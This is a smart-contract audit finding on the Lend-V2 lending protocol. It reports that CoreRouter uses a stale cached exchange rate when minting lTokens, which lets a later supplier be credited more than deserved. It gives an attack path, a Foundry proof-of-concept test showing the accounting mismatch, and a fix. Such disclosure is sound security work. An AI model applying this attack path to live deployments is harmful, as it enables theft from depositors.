Keen Nylon Rhino

High

# Incorrect accounting of LTokens during supply of underlying tokens

### Summary

Caching the [exchange rate](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L74) and then using it to calculate how much `lTokens` are minted, results in discrepancy between actual `lTokens` minted and what is written in `LendStorage.totalInvestment `. This gives undeserved interest to a supplier in a system that already accrues interest on loans.

### Root Cause

In [CoreRouter.sol](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L74) the used exchange rate is outdated, because in the` lToken.mint` function, exchange rate is modified in the `accrueInterest` function (Compound V2 core method).

### Internal Pre-conditions

1. Some user supplied and borrowed.

### External Pre-conditions

1. At least 1 block has passed.

### Attack Path

Another user comes in and supplies. He is assigned more lTokens than he is deserved to get, thus supplyIndex is not taken into account correctly.

### Impact

A user is able to get generate more lTokens, thus at later redeem even in the same transaction he receives more underlying tokens than supplied.

### PoC

```solidity
// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {Test} from "forge-std/Test.sol";
import {Deploy} from "../script/Deploy.s.sol";
import {HelperConfig} from "../script/HelperConfig.s.sol";
import {CrossChainRouterMock} from "./mocks/CrossChainRouterMock.sol";
import {CoreRouter} from "../src/LayerZero/CoreRouter.sol";
import {LendStorage} from "../src/LayerZero/LendStorage.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import {ERC20Mock} from "@openzeppelin/contracts/mocks/ERC20Mock.sol";
import {Lendtroller} from "../src/Lendtroller.sol";
import {InterestRateModel} from "../src/InterestRateModel.sol";
import {SimplePriceOracle} from "../src/SimplePriceOracle.sol";
import {LTokenInterface} from "../src/LTokenInterfaces.sol";
import {LToken} from "../src/LToken.sol";
import "@layerzerolabs/lz-evm-oapp-v2/test/TestHelper.sol";


contract TestPOC1 is Test {
    HelperConfig public helperConfig;
    address public layerZeroEndpoint;
    address[] public supportedTokens;
    bool public isTestnet;
    address public deployer;

    CrossChainRouterMock public router;
    LendStorage public lendStorage;
    CoreRouter public coreRouter;
    Lendtroller public lendtroller;
    InterestRateModel public interestRateModel;
    SimplePriceOracle public priceOracle;

    TestHelper public testHelper;

    address[] public lTokens;

    // Events to test
    event RedeemSuccess(address indexed redeemer, address indexed lToken, uint256 redeemAmount, uint256 redeemTokens);

    function setUp() public {
        deployer = makeAddr("deployer");

        // Deploy the entire protocol
        Deploy deploy = new Deploy();
        (
            address priceOracleAddress,
            address lendtrollerAddress,
            address interestRateModelAddress,
            address[] memory lTokenAddresses,
            address payable routerAddress,
            address payable coreRouterAddress,
            address lendStorageAddress,
            address _layerZeroEndpoint,
            address[] memory _supportedTokens
        ) = deploy.run();

        // Store the values in contract state variables
        router = CrossChainRouterMock(routerAddress);
        lendStorage = LendStorage(lendStorageAddress);
        coreRouter = CoreRouter(coreRouterAddress);
        lendtroller = Lendtroller(lendtrollerAddress);
        interestRateModel = InterestRateModel(interestRateModelAddress);
        priceOracle = SimplePriceOracle(priceOracleAddress);
        lTokens = lTokenAddresses;
        layerZeroEndpoint = _layerZeroEndpoint;
        supportedTokens = _supportedTokens;

        testHelper = TestHelper(payable(layerZeroEndpoint));

        // Set up initial prices for supported tokens
        for (uint256 i = 0; i < supportedTokens.length; i++) {
            priceOracle.setDirectPrice(supportedTokens[i], 1e18);
        }
    }

    function test_POC1() public {
        address first = makeAddr("FIRST_USER");
        address second = makeAddr("SECOND_USER");
        address depositedToken = supportedTokens[0];
        address lToken = coreRouter.lendStorage().underlyingTolToken(depositedToken);

        ERC20Mock(depositedToken).mint(first, 100e18);
        ERC20Mock(depositedToken).mint(second, 100e18);

        vm.prank(first);
        IERC20(depositedToken).approve(address(coreRouter), type(uint256).max);

        vm.prank(second);
        IERC20(depositedToken).approve(address(coreRouter), type(uint256).max);

        vm.startPrank(first);
        coreRouter.supply(100e18, depositedToken);
        coreRouter.borrow(50e18, depositedToken);
        vm.stopPrank();

        vm.roll(block.timestamp + 5);
        uint256 lTokensTotalSupplyBeforeSecondMint = IERC20(lToken).totalSupply();

        vm.startPrank(second);
        coreRouter.supply(100e18, depositedToken);

        uint256 lTokensTotalSupply = IERC20(lToken).totalSupply();

        assertEq(lTokensTotalSupply - lTokensTotalSupplyBeforeSecondMint, coreRouter.lendStorage().totalInvestment(second, lToken));
    }
}
```

### Mitigation

Either move `uint256 exchangeRateBefore = LTokenInterface(_lToken).exchangeRateStored();` after minting of lTokens, or track how many lTokens are minted at the beginning and end of the function and assign to userTotalInvestment the difference between totalSupplyEnd and totalSupplyBegin.